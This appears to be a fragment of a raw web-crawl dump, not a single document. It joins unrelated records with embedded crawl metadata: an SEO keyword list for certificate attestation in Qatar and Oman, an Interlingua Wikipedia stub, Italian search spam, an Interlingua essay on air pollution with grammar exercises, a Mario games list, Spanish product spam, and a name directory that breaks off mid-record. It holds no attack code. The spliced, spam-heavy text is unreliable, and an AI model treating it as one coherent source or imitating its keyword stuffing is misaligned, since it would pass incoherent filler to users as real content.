Attestation\nEngineering Diploma Mark Sheets Attestation\nNursing Diploma Certificate Attestation\nNursing Certificate Attestation\nDoctors Certificate Attestation\nNursing Diploma Mark Sheet Attestation\nB Sc - Nursing Certificate Attestation\nB Sc - Nursing Mark Sheets Attestation\nM Sc - Nursing Certificate Attestation\nM Sc - Nursing Mark Sheets Attestation\nComputer Diploma Certificate Attestation\nTechnicians Certificate attestation\nApprenticeship Certificate attestation\nProvisional Certificate Attestation\nMark Sheets Attestation\nTranscript Certificate Attestation\nOther Diploma Certificate Attestation\nMarriage Certificate Attestation\nBirth Certificate Attestation\nTTC - Certificate Attestation\nTransfer Certificate Attestation\nTC attestation\nLeaving Certificate Attestation\nAffidavit Attestation\nPower of Attorney Attestation\nRegistration Certificate Attestation\nExperience Certificate Attestation\nPCC Attestation\nIndian PCC Attestation\nPolice Clearance Certificate Attestation\nPrivate Diploma Certificate Attestation\nFingerprint Certificate Attestation\nDivorce Certificate Attestation\nDeath Certificate Attestation\nMedical Certificate Attestation\nBonafide Certificate Attestation\nForeign Certificate Attestation\nHouse Surgeon Certificate Attestation\nInternship Certificate Attestation\nMigration Certificate Attestation\nSpecial Certificate Attestation\nTranslated Certificate Attestation\nAttestation On Translation\nTraining Certificate Attestation\nAadhar Card Attestation\nDriving License Attestation\nPassport Renewal\nCompany Formation\nTranslation Services\nOther Certificate Attestation in Qatar\nApostille in Qatar\nOman Apostille In Qatar\nCertificate Attestation In Qatar\nAttestation Services In Qatar\nQatar Attestation Services\nOman Attestation Services In Qatar\nUAE Attestation Services In Qatar\nKuwait Attestation Services In Qatar\nBahrain Attestation Services In Qatar\nSaudi Attestation Services In Qatar\nAttestation Agencies In Qatar\nAttestation Companies In Qatar\nAttestation Procedures In Qatar\nApostille Services In Qatar\nQatar MOFA Attestation\nMEA Attestation\nMOFA Attestation In Qatar\nTc Attestation In Qatar\nEmbassy Attestation In Qatar\nDocument Attestation In Qatar\nCertificate Attestation Services In Doha\nApostille Attestation In Qatar\nJob Vacancy In Qatar\nIndian Embassy In Qatar\nQatar Embassy Attestation\nOman Embassy Attestation In Qatar\nUAE Embassy Attestation In Qatar\nKuwait Embassy Attestation In Qatar\nBahrain Embassy Attestation In Qatar\nBest Certificate Attestation In Qatar\nCertificate Attestation Services In Qatar\nQatar Attestation Services\nIndian Embassy Attestation Services In Qatar\nQatar Embassy Attestation Services\nUAE Embassy Attestation Services In Qatar\nOman Embassy Attestation Services In Qatar\nKuwait Embassy Attestation Services In Qatar\nBahrain Embassy Attestation Services In Qatar\nSaudi Embassy Attestation Services In Qatar\nDegree Certificate Attestation In Qatar\nEducational Certificate Attestation In Qatar\nMarriage Certificate Attestation In Qatar\nBirth Certificate Attestation In Qatar\nPre-degree Certificate Attestation In Qatar\n+2 Certificate Attestation In Qatar\nB.A Certificate Attestation In Qatar\nB.com Certificate Attestation In Qatar\nBBA Certificate Attestation In Qatar\nBCA Certificate Attestation In Qatar\nBDS Certificate Attestation In Qatar\nB.E Certificate Attestation In Qatar\nB.Tech. Certificate Attestation In Qatar\nB.Sc. Certificate Attestation In Qatar\nB.Ed. Certificate Attestation In Qatar\nC A Certificate Attestation In Qatar\nMCA Certificate Attestation In Qatar\nMBA Certificate Attestation In Qatar\nDoctor Certificate Attestation In Qatar\nMBBS Certificate Attestation In Qatar\nMA Certificate Attestation In Qatar\nM.com Certificate Attestation In Qatar\nM.Sc. Certificate Attestation In Qatar\nNTC Certificate Attestation In Qatar\nITI Certificate Attestation In Qatar\nEngineering Diploma Certificate Attestation In Qatar\nNursing Diploma Certificate Attestation In Qatar\nProvisional Certificate Attestation In Qatar\nTranscript Certificate Attestation In Qatar\nTTC Certificate Attestation In Qatar\nAffidavit Certificate Attestation In Qatar\nPower of Attorney Attestation In Qatar\nFingerprint Certificate Attestation In Qatar\nTraining Certificate Attestation In Qatar\nEngineering Certificate Attestation In Qatar\nDiploma Certificate Attestation In Qatar\nSalary Certificate Attestation In Qatar\nExperience Certificate Attestation In Qatar\nBonafide Certificate Attestation In Qatar\nMedical Certificate Attestation In Qatar\nTranslation Certificate Attestation In Qatar\nSchool Certificate Attestation In Qatar\nSSLC Certificate Attestation In Qatar\nHSC Certificate Attestation In Qatar\nProgress Card Certificate Attestation In Qatar\nReport Card Certificate Attestation In Qatar\nNursing Certificate Attestation In Qatar\nIndian Certificate Attestation In Qatar\nPolice Clearance Certificate Attestation In Qatar\nDivorce Certificate Attestation In Qatar\nDeath Certificate Attestation In Qatar\nTransfer Certificate Attestation In Qatar\nNon-educational Certificate Attestation In Qatar\nMOFA Certificate Attestation In Qatar\nQatar MOFA Attestation\nIndian Documents Attestation In Qatar\nQatar PCC Attestation In Qatar\nMigration Certificate Attestation In Qatar\nMetric Certificate Attestation In Qatar\n10th Certificate Attestation In Qatar\nHSC Certificate Attestation In Qatar\nHRD Attestation Procedure In Qatar\nHigh School Certificate Attestation In Qatar\nChamber of Commerce Attestation In Qatar\nHome Department Attestation\nSub Divisional Magistrate Attestation\nMinistry of External Affairs Attestation\nNORKA Certificate Attestation\nFinal Year Mark Sheet Attestation In Qatar\nConsolidated Mark Sheet Attestation In Qatar\nBest Attestation Agencies In Qatar\nBest Attestation Companies In Qatar\nApostille From India\nAttestation In Oman\nApostille In Oman\nOman Apostille\nCertificate Attestation In Oman\nAttestation Services In Oman\nQatar Attestation Services In Oman\nOman Attestation Services\nUAE Attestation Services In Oman\nKuwait Attestation Services In Oman\nBahrain Attestation Services In Oman\nSaudi Attestation Services In Oman\nAttestation Agencies In Oman\nAttestation Companies In Oman\nAttestation Procedures In Oman\nApostille Services In Oman\nOman MOFA Attestation\nMEA Attestation\nMofa Attestation In Oman\nTc Attestation In Oman\nEmbassy Attestation In Oman\nDocument Attestation In Oman\nCertificate Attestation Services In Muscat\nApostille Attestation In Oman\nJob Vacancy In Oman\nIndian Embassy In Oman\nQatar Embassy Attestation In Oman\nUAE Embassy Attestation In Oman\nKuwait Embassy Attestation In Oman\nBahrain Embassy Attestation In Oman\nBest Certificate Attestation In Oman\nCertificate Attestation Services In Oman\nQatar Attestation Services\nIndian Embassy Attestation Services In Oman\nQatar Embassy Attestation Services In Oman\nUAE Embassy Attestation Services In Oman\nOman Embassy Attestation Services\nKuwait Embassy Attestation Services In Oman\nBahrain Embassy Attestation Services In Oman\nSaudi Embassy Attestation Services In Oman\nDegree Certificate Attestation In Oman\nEducational Certificate Attestation In Oman\nMarriage Certificate Attestation In Oman\nBirth Certificate Attestation In Oman\nPre-degree Certificate Attestation In Oman\n+2 Certificate Attestation In Oman\nB.A Certificate Attestation In Oman\nB.com Certificate Attestation In Oman\nBBA Certificate Attestation In Oman\nBDS Certificate Attestation In Oman\nB.E Certificate Attestation In Oman\nB.Tech. Certificate Attestation In Oman\nB.Sc. Certificate Attestation In Oman\nB.Ed. Certificate Attestation In Oman\nC A Certificate Attestation In Oman\nMCA Certificate Attestation In Oman\nMBA Certificate Attestation In Oman\nDoctor Certificate Attestation In Oman\nMBBS Certificate Attestation In Oman\nMA Certificate Attestation In Oman\nM.com Certificate Attestation In Oman\nM.Sc. Certificate Attestation In Oman\nNTC certificate attestation in Oman\nITI Certificate Attestation In Oman\nEngineering Diploma Certificate Attestation In Oman\nNursing Diploma Certificate Attestation In Oman\nProvisional Certificate Attestation In Oman\nTranscript Certificate Attestation In Oman\nTTC Certificate Attestation In Oman\nAffidavit Certificate Attestation In Oman\nPower of Attorney Attestation In Oman\nFingerprint Certificate Attestation In Oman\nTraining Certificate Attestation In Oman\nEngineering Certificate Attestation In Oman\nDiploma Certificate Attestation In Oman\nSalary Certificate Attestation In Oman\nExperience Certificate Attestation In Oman\nMark Sheet Certificate Attestation In Oman\nBonafide Certificate Attestation In Oman\nMedical Certificate Attestation In Oman\nTranslation Certificate Attestation In Oman\nSchool Certificate Attestation In Oman\nSSLC Certificate Attestation In Oman\nHSC Certificate Attestation In Oman\nProgress Card Certificate Attestation In Oman\nReport Card Certificate Attestation In Oman\nNursing Certificate Attestation In Oman\nIndian Certificate Attestation In Oman\nPolice Clearance Certificate Attestation In Oman\nDivorce Certificate Attestation In Oman\nDeath Certificate Attestation In Oman\nTransfer Certificate Attestation in Oman\nNon-educational Certificate Attestation In Oman\nMOFA Certificate Attestation In Oman\nQatar MOFA Attestation\nIndian Documents Attestation In Oman\nQatar PCC Attestation In Oman\nMigration Certificate Attestation In Oman\nMetric Certificate Attestation In Oman\n10th Certificate Attestation In Oman\nHSC Certificate Attestation In Oman\nHRD Attestation Procedure In Oman\nHigh School Certificate Attestation In Oman\nChamber of Commerce Attestation In Oman\nSub Divisional Magistrate Attestation\nMinistry of External Affairs Attestation\nNORKA Certificate Attestation\nFinal Year Mark Sheet Attestation In Oman\nConsolidated Mark Sheet Attestation In Oman\nBest Attestation Agencies In Oman\nBest Attestation Companies In Oman","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/newindiaattestation.com\/educational-and-non-educational-certificates-attestation.html","date":"2022-12-07T16:19:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711200.6\/warc\/CC-MAIN-20221207153419-20221207183419-00285.warc.gz","language":"ina","language_score":0.5057756901,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5057756900787354, \"dag_Latn_score\": 0.11844933032989502, \"nld_Latn_score\": 0.10258159786462784, \"sco_Latn_score\": 0.03616000711917877, \"ile_Latn_score\": 0.03402998670935631, \"dan_Latn_score\": 0.027426239103078842, \"eng_Latn_score\": 0.020621174946427345, \"mlt_Latn_score\": 0.018617544323205948, \"swe_Latn_score\": 0.018125204369425774, \"ita_Latn_score\": 0.011904922313988209, \"lim_Latn_score\": 0.010067353956401348}","num_words":2946,"character_repetition_ratio":0.476,"word_repetition_ratio":0.094,"special_characters_ratio":0.133,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.356,"perplexity_score":21508.3,"cluster_detection":-1} +{"text":"Siete Iglesias de Trabancos\n|Siete Iglesias de Trabancos|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Capital||Siete Iglesias de Trabancos[*]|\n|Population||432|\n|Area||63,2 km²|\n|Situate in||Provincia de Valladolid|\n|Altitude||726 m|\n|Coordinatas||41°21'6\"N, 5°11'4\"W|\n|Geonames ID||6362282|\n|Wikimedia Commons Category|\nSiete Iglesias de Trabancos\nSiete Iglesias de Trabancos es un municipalitate que se trova in le provincia de Valladolid, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ia.wikipedia.org\/wiki\/Siete_Iglesias_de_Trabancos","date":"2023-04-02T02:31:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296950373.88\/warc\/CC-MAIN-20230402012805-20230402042805-00167.warc.gz","language":"ina","language_score":0.3730894923,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3730894923210144, \"glg_Latn_score\": 0.11765718460083008, \"arg_Latn_score\": 0.07913293689489365, \"vec_Latn_score\": 0.05519485101103783, \"nap_Latn_score\": 0.05308803915977478, \"frp_Latn_score\": 0.04138598218560219, \"cbk_Latn_score\": 0.030280249193310738, \"nrm_Latn_score\": 0.02673262543976307, \"spa_Latn_score\": 0.01868230663239956, \"sco_Latn_score\": 0.01801256090402603, \"nov_Latn_score\": 0.015307675115764141, \"ast_Latn_score\": 0.010670114308595657}","num_words":126,"character_repetition_ratio":0.189,"word_repetition_ratio":0.222,"special_characters_ratio":0.274,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.397,"perplexity_score":4643.4,"cluster_detection":-1} +{"text":"illuminismo ricerca mappe per la scuola illuminismo\nilluminismo ricerca illuminismo riassunto\nilluminismo ricerca illuminismo 2 170 media aiutodislessia net\nilluminismo ricerca lezione di storia l illuminismo la scuola intelligente\nilluminismo ricerca illuminismo cerca con letteratura italiana\nilluminismo ricerca illuminismo\nilluminismo ricerca mapper illuminismo scienza e arti\nilluminismo ricerca da illuminismo a canova appunti di storia dell arte\nilluminismo ricerca illuminismo interesse concreto per la diffusione della\nilluminismo ricerca repubblica di calmucchia 187 illuminismo\nilluminismo ricerca mappa concettuale romanticismo e ricerca dell assoluto\nilluminismo ricerca illuminismo e riforme nell italia settecento gianni\nilluminismo ricerca ppt l illuminismo powerpoint presentation id 4240741\nilluminismo ricerca illuminismo archivi di illustrazioni 2 962 illuminismo\nilluminismo ricerca illuminismo\nilluminismo ricerca 169 pearson italia spa 1 l illuminismo l illuminismo 2\nilluminismo ricerca illuminismo ppt scaricare\nilluminismo ricerca illuminismo visual\nilluminismo ricerca italiano blackboard italiano storia\nilluminismo ricerca illuminismo tolstoj e matematica sputnik italia\nilluminismo ricerca illuminismo mappa concettuale sulle idee e i principi\nilluminismo ricerca la scuoleria storia la rivoluzione scientifica e l\nilluminismo ricerca illuminismo archivi immagini e foto 13 956 illuminismo 232\nilluminismo ricerca illuminismo\nilluminismo ricerca cipria illuminismo neve cosmetics\nilluminismo ricerca illuminismo significato e caratteristiche studenti it\nilluminismo ricerca cipria illuminismo neve cosmetics\nilluminismo ricerca illuminismo vincenzi lorenzo editrice bibliografica i","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/winterbottomhomes.com\/illuminismo-ricerca.html","date":"2018-06-22T11:36:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864391.61\/warc\/CC-MAIN-20180622104200-20180622124200-00006.warc.gz","language":"ina","language_score":0.4941380024,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4941380023956299, \"ita_Latn_score\": 0.2753664255142212, \"lat_Latn_score\": 0.08294142037630081, \"vec_Latn_score\": 0.03330940380692482, \"scn_Latn_score\": 0.020838895812630653, \"lmo_Latn_score\": 0.01954036019742489, \"srd_Latn_score\": 0.011947893537580967}","num_words":420,"character_repetition_ratio":0.374,"word_repetition_ratio":0.088,"special_characters_ratio":0.14,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":14884.0,"cluster_detection":-1} +{"text":"LE CONTAMINATION DEL AER\nLe atmosphera del terra es un parte importantissime\nde nostre systema ecologic. Illo es un medio pro cambiar e equilibrar\nduo gases essential pro le vita terrestre. Le animales de nostre planeta\nconverte le oxygeno al bioxido de carbon, e le plantas usa le bioxido de\ncarbon pro producer oxygeno.\nNostre\nplantas e animales morirea sin un quantitate sufficiente de iste gases,\ne le intercambio de illos inter plantas e animales se ha mantenite in un\nstato de equilibrio que nunc es menaciate per pollution producite per\ncerte activitates damnose del population mundial human, que se expande a\nun taxa alarmante.\nLe\nincremento de certe gases e le diminution de alteres menacia le\nequilibrio ecologic de nostre atmosphera. Alicun gases, como le monoxido\nde carbon, in concentrationes sufficiente, es un periculo pro le\nsanitate human. Altere gases es innocue per nostre population ma\ndamnifica nostre ambiente.\nQualque\nfontes natural pote augmentar le contamination de nostre atmosphera.\nNostre vulcanos, pro exemplo, produce le bioxido de sulfure, un agente\ncontaminante producite anque per nostre centrales thermic.\nMa\nle eruptiones volcanic non es frequente e occurre in regiones pauco\nnumerose de nostre planeta. Nos ha centrales thermic pro generar\nelectricitate in multe regiones de nostre continentes. E comparate a\nnostre vulcanos, illos emitte un periculose quantitate de iste gas, que\nse augmenta con le construction de nove centrales thermic pro servir le\nnecessitates del population crescente mundial.\nLe\nsecunde causa del contamination atmospheric es le substantias create de\nun maniera artificial que se libera a in le aer. Iste particulos e gases\npote esser multo damnificante proque le natura non ha medios pro\neliminar los facilemente.\nNostre\nprocessos industrial combure multe hydrocarbones in le forma de petroleo\no de carbon. Iste combustion libera al atmosphera le bioxido de carbon.\nIste gas es innocue pro nos e le altere animales del terra, ma in le\natmosphera illo retene le calor. Cata anno in omne le mundo on combure\nmilles de milliones de tonnas de combustibiles fossile, e le bioxido de\ncarbon liberate per iste combustion poterea causar un cambio climatic a\nscala mundial.\nQuando\non combure combustibiles fossile, on anque libera altere gases\ncontaminante, como le bioxido de sulfure e le oxidos de nitrogeno. Le\npluvia acide se forma ex iste gases, e plus que 35% de illos es\nproductos del combustion de hydrocarbones.\nLe fusion\nde metales anque emitte metales pesante. Iste processos industrial pote\nproducer plumbo, cadmio, e nickel, tres metales nocive al sanitate\nhuman. Le plumbo damnifica le systema nerviose e causa deficientias\npsychic in nostre infantes. Nostre automobiles que combure gasolina con\nplumbo anque libera particulas de iste metal. Felicemente, multe paises\nha eliminate le uso de iste forma de gasolina nocive.\nLe\nNebulo Toxic:\nIste\nforma de contamination atmospheric se trova in multe urbes, de Bombay,\nIndia, usque Benxi, China, un urbe exceptionalmente contaminate que a\nvices non appare in le photographias de nostre satellites proque sovente\nillo es coperite per un spisse nube immunde.\nLe\nnebula toxic se forma ex un mixtura de contaminantes como le oxido de\nnitrogeno e de sulfure, le monoxido de carbon, e altere gases liberate\nper fabricas urban, automobiles, e centrales thermic.\nAlicunes\nex iste gases pote producer irritation in le oculos, maladias pulmonar,\ne etiam diverse tipos de cancere. Iste gases anque pote combinar se pro\nproducer nove formas periculose de contamination.\nIl ha duo\nclasses de nebula toxic: Le prime se produce per le combination de\nresiduos domestic de estufas e furnos cuje fumo se combina con le\ncontamination industrial. Le altere classe es le nebula toxic\nphotochimic, producite principalmente per le gases liberate per nostre\nautomobiles. Ventos atmospheric anque pote portar le nebula toxic urban\na areas rural e sylvestre, damnificante recoltas, arbores, e animales\ndomestic e feral.\nNOTAS\nSTRUCTURAL\nCommentarios\nsur le componente syntactic\ndel\ngrammatica de interlingua\nParte\n3\nUn\nexploration con commentos explicatori de un proposition bastante\nelaborate de interlingua, comenciante con le syntagmas le plus simple:\nIn iste section nos va\nexplorar como un serie de questiones pote elicitar omne le syntagmas de\nun proposition bastante elaborate e explicar lor relation con altere\nsyntagmas. Ecce le proposition que nos va examinar:\nAlicun\nhistoricos crede que le Revolution Industrial (que comenciava con le\ninvention del machina de vapor, que James Watt inventava al fin del\nseculo XVIII e que on perfectionava durante le seculo XIX) esseva le\nevento le plus importante in le historia human—mesmo plus importante\nque le revolution agricole.\nLe prime question identifica\nlo que nos va discuter:\nQue\nva nos discuter? Un revolution.\n>>>\nNos va discuter un revolution.\nLe proxime question\nidentifica le revolution un pauco plus exactemente:\nQue\ntypo de revolution? Un revolution que esseva importante.\n>>>\nNos va discuter un revolution\nque\nesseva importante.\n>>>\nNos va discuter un revolution importante.\nIste question identifica le\nnomine del revolution:\nQual\nesseva le nomine de iste revolution? Le Revolution Industrial.\n>>>\nIste revolution esseva le Revolution Industrial.\nIste question establi que le\nRevolution Industrial esseva un evento.\nEsque\nle Revolution Industrial esseva un evento? Si, le Revolution Industrial\nesseva un evento.\n>>>\nLe Revolution Industrial esseva un evento.\nIste question establi que le\nRevolution Industrial esseva importante:\nEsque\nle Revolution Industrial esseva importante? Si, le Revolution Industrial\nesseva importante.\n>>>\nLe Revolution Industrial esseva importante.\n>>> Le\nRevolution Industrial esseva un evento importante.\nIste question establi le\ncontexto del importantia del Revolution Industrial:\nIn\nque esseva importante le Revolution Industrial? In le historia human.\n>>>\nLe Revolution Industrial esseva un evento importante in le historia\nhuman.\nIste question elicita le\norigine del Revolution Industrial:\nCon\nque comenciava Le Revolution Industrial? Con un invention importante.\n>>>\nLe Revolution Industrial comenciava con un invention. Iste\ninvention esseva importante.\n>>>\nLe Revolution Industrial comenciava con un invention\nque\nesseva importante.\n>>>\nLe Revolution Industrial comenciava con un invention importante.\nIste question elicita le\nnomine del invention importante:\nCon\nque\/qual invention comenciava iste revolution? Con le invention del machina del vapor.\n>>>\nIste revolution comenciava con\nle invention del machina de vapor.\n>>>\nLe Revolution Industrial comenciava con le invention del machina de vapor.\nIste question elicita le\nidentification del inventor del machina de vapor:\nQui\ninventava le machina de vapor? James Watt.\n>>>\nJames Watt inventava le machina de vapor.\nIste question identifica\nquando James Watt inventava le machina de vapor:\nQuando\ninventava James Watt le machina de vapor? Al fin del seculo XVIII.\n>>>\nJames Watt inventava le machina de vapor al fin del seculo XVIII.\nIste question identifica le\nperiodo del evolution e perfection del machina de vapor:\nQuando\nes que on perfectionava le machina de vapor? Durante le seculo XIX.\n>>>\nOn perfectionava le machina de vapor durante le seculo XIX.\nIste question establi le\norigine temporal del Revolution Industrial e le agente que lo faceva\ncomenciar:\nCon\nque comenciava lel Revolution Industrial? Con le invention del machina\nde vapor, que James Watt inventava al fin del seculo XVIII e que on\nperfectionava durante le seculo XIX.\n>>>\nLe Revolution Industrial comenciava con le invention del machina de\nvapor, que James Watt inventava al fin del seculo XVIII e que on\nperfectionava durante le seculo XIX.\nIste question identifica le\norigine temporal del Revolution Industrial:\nQuando\ncomenciava le Revolution Industrial? Con le invention del machina de\nvapor, que James Watt inventava al fin del seculo XVIII e que on\nperfectionava durante le seculo XIX.\n>>>\nLe Revolution Industrial comenciava con le invention del machina de\nvapor, que James Watt inventava al fin del seculo XVIII e que on\nperfectionava durante le seculo XIX.\nIste question identifica le\npersonas qui crede que le Revolution Industrial esseva plus importante\nque le Revolution Agricole:\nQui\ncrede que iste revolution esseva plus importante que le Revolution\nAgricole? Alicun historicos.\n>>>\nAlicun historicos crede que iste revolution esseva plus importante que\nle Revolution Agricole.\nIste question identifica le\npersonas qui crede que le Revolution Industrial esseva le revolution le\nplus importante in le historia human:\nQui\ncrede que iste revolution esseva le revolution le plus importante in le\nhistoria human? Alicun historicos.\n>>>\nAlicun historicos crede que iste revolution esseva le evento le plus\nimportante in le historia human.\nIste question identifica le\npersonas qui crede que le Revolution Industrial esseva mesmo plus\nimportante que le Revolution Agricole.\nQui\ncrede que le Revolution Industrial esseva mesmo plus importante que le\nRevolution Agricole? Alicun historicos.\n>>>\nAlicun historicos crede que iste revolution esseva le evento le plus\nimportante in le historia human—mesmo plus importante que le\nrevolution agricole.\nIste question explica lo que\ncrede alicun historicos sur le Revolution Industrial e indica quando\nillo comenciava.\nQue\ncrede alicun historicos sur le Revolution Industrial, e quando\ncomenciava illo?\n>>>\nAlicun historicos crede que le Revolution Industrial (que comenciava con\nle invention del machina de vapor, que James Watt inventava al fin del\nseculo XVIII e que on perfectionava durante le seculo XIX) esseva le\nevento le plus importante in le historia human—mesmo plus importante\nque le revolution agricole.\n[Retro a\nCurso]\n[Vade al prime pagina]","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/www.geocities.ws\/hkyson\/directorio\/curso\/html\/cap8html.htm","date":"2022-12-05T09:09:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711013.11\/warc\/CC-MAIN-20221205064509-20221205094509-00436.warc.gz","language":"ina","language_score":0.9999015331,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.999901533126831}","num_words":1752,"character_repetition_ratio":0.136,"word_repetition_ratio":0.138,"special_characters_ratio":0.178,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":1017.5,"cluster_detection":-1} +{"text":"juegos de mario bros de terror\nSuper Mario Motojuegos de mario bros de terror\nYokojuegos de mario bros de terror\nJuegos de Mario Bros: Mario Adventuresjuegos de mario bros de terror\nHongos en líneajuegos de mario bros de terror\nJuegos de Mario Bros: Mario Breakoutjuegos de mario bros de terror\nJuegos de Mario Bros: Cute Mario Drivingjuegos de mario bros de terror\nSuper Mario Flash 3juegos de mario bros de terror\nMario Superjuegos de mario bros de terror\nJuegos de Mario Bros: Mario Hoodjuegos de mario bros de terror\nBowser Ball 2juegos de mario bros de terror\nSuper Mario bros star scramble 2juegos de mario bros de terror\nSuper Mario Bros: Star Scramblejuegos de mario bros de terror\nThe Adventure of Super Mario Landjuegos de mario bros de terror\nSuper Mario Motojuegos de mario bros de terror\nSuper Mario Bros 2: Star Scramble, Ghost Islandjuegos de mario bros de terror\nSuper Mario Bros Crossoverjuegos de mario bros de terror\nSuper Mario Coin Catcherjuegos de mario bros de terror\nSuper Mario World Flash 2juegos de mario bros de terror\nJump Mariojuegos de mario bros de terror\nMario Atvjuegos de mario bros de terror\nInfinite Mario Brosjuegos de mario bros de terror\nMario Kartjuegos de mario bros de terror\nMario Shoot zombiesjuegos de mario bros de terror\nMario Adventure 2juegos de mario bros de terror\nSuper Mario Flash 2juegos de mario bros de terror\nMario y las plantas carnívorasjuegos de mario bros de terror\nSuper Mario Jigsaw Puzzle 4juegos de mario bros de terror\nSuper Mario flash partyjuegos de mario bros de terror\nSuper Mario Escene worldjuegos de mario bros de terror\nSuper Mario 3: Star Scramblejuegos de mario bros de terror\nMario Super Smashjuegos de mario bros de terror\nJuegos de Mario Bros: Super Mario Remixjuegos de mario bros de terror","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/juegosdemariobros.net\/terror\/","date":"2023-01-31T16:21:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499888.62\/warc\/CC-MAIN-20230131154832-20230131184832-00465.warc.gz","language":"ina","language_score":0.3972254395,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.39722543954849243, \"spa_Latn_score\": 0.3833692669868469, \"frp_Latn_score\": 0.053859371691942215, \"glg_Latn_score\": 0.03633185476064682, \"alz_Latn_score\": 0.020125148817896843, \"mwl_Latn_score\": 0.019578492268919945, \"srd_Latn_score\": 0.014158082194626331}","num_words":564,"character_repetition_ratio":0.439,"word_repetition_ratio":0.368,"special_characters_ratio":0.179,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.602,"perplexity_score":6589.0,"cluster_detection":-1} +{"text":"PRODUCTOSYSERVICIOSFEDE\nFlintronic rinonera deportiva rinonera de running deportiva para mu\nRinonera de cuero biodegradable producto sustentable marron\nProductos choice\nProductos dieteticos para adelgazar\nProductos estetica facial\nPodologia productos\nProductos lacteos\nStabilo producto plus\nBuscar productos\nHome\nStabilo producto plus\nSin stock.\nVer más modelos de stabilo producto plus\nQuizas podria interesarte...\nProductos para el cabello\nProducto plus cargador coche\nLibreta producto plus\nNuxe productos\nProductos harry potter bufanda","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/productosyserviciosfede.es\/stabilo-producto-plus","date":"2024-04-14T08:21:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816875.61\/warc\/CC-MAIN-20240414064633-20240414094633-00278.warc.gz","language":"ina","language_score":0.3020031452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3020031452178955, \"spa_Latn_score\": 0.2329564094543457, \"arg_Latn_score\": 0.10060130059719086, \"swe_Latn_score\": 0.028274621814489365, \"lat_Latn_score\": 0.024251718074083328, \"yua_Latn_score\": 0.021014198660850525, \"nld_Latn_score\": 0.020618809387087822, \"mlt_Latn_score\": 0.019948486238718033, \"lit_Latn_score\": 0.016808681190013885, \"gug_Latn_score\": 0.016573704779148102, \"ekk_Latn_score\": 0.015726139768958092, \"fin_Latn_score\": 0.01420244574546814, \"pol_Latn_score\": 0.01332048885524273, \"slv_Latn_score\": 0.012268595397472382, \"hun_Latn_score\": 0.011679421178996563, \"lvs_Latn_score\": 0.011071650311350822, \"slk_Latn_score\": 0.01094138901680708, \"eng_Latn_score\": 0.010004215873777866}","num_words":136,"character_repetition_ratio":0.142,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":0.252,"perplexity_score":18079.3,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Thomas Le Bourse||Thomas Le Goff|\n|Thomas Le Bris||Thomas Le Gougaud|\n|Thomas LE BRISHOUAL||Thomas le Gourierec|\n|Thomas LE BRUN||Thomas Le Govic|\n|Thomas Le Brun||THOMAS LE GUEN|\n|Thomas le Buzulier||Thomas Le Guern|\n|thomas le callonnec||Thomas Le Guével|\n|Thomas Le Chenadec||Thomas Le Guillou|\n|Thomas Le Chêne||Thomas Le Guillou|\n|Thomas Le Chi Thanh||Thomas Le Helloco|\n|Thomas Le Clinche||Thomas Le Hen|\n|Thomas Le Colleter||Thomas Le hir|\n|Thomas Le Coq||Thomas Le Hir|\n|Thomas LE COQUIL||Thomas LE JEUNE|\n|Thomas Le Corps||Thomas Le Jeune|\n|Thomas Le Corre||Thomas Le Jeune|\n|thomas Le Corre||Thomas Le Jeune|\n|Thomas Le Coupanec||Thomas le Juge|\n|Thomas Le Coz||Thomas Le Labourier|\n|Thomas Le Coz||Thomas Le Lann|\n|Thomas LE COZ||Thomas Le Lay|\n|Thomas LE COZ||Thomas Le Lay|\n|Thomas Le Crouhennec||Thomas le Lay|\n|Thomas Le Diffon||Thomas Le Lay|\n|Thomas Le Dluz||Thomas Le Levier|\n|thomas LE DOZE||Thomas Le Lirzin|\n|Thomas Le Dreff||Thomas le Loire|\n|Thomas Le Druillenec||Thomas Le loire|\n|Thomas Le Duc||Thomas Le Marrec|\n|Thomas LE FAOU||Thomas Le Masson|\n|Thomas Le Fichant||Thomas Le Mauff|\n|THOMAS LE FLANCHEC||Thomas Le Mens|\n|Thomas Le Floc'h||Thomas Le Mer|\n|Thomas LE FLOC'H||thomas Le Merrer|\n|thomas le flochmoen||Thomas Le Mest|\n|Thomas LE FLOHIC||Thomas Le Mestre|\n|Thomas Le Forestier||Thomas Le Meur|\n|Thomas Le Galès||Thomas Le Mignan|\n|Thomas Le Gall||Thomas LE MIGNAN|\n|Thomas LE GALL||Thomas Le Molaire|\n|Thomas le Gall||Thomas Le Monier|\n|Thomas Le 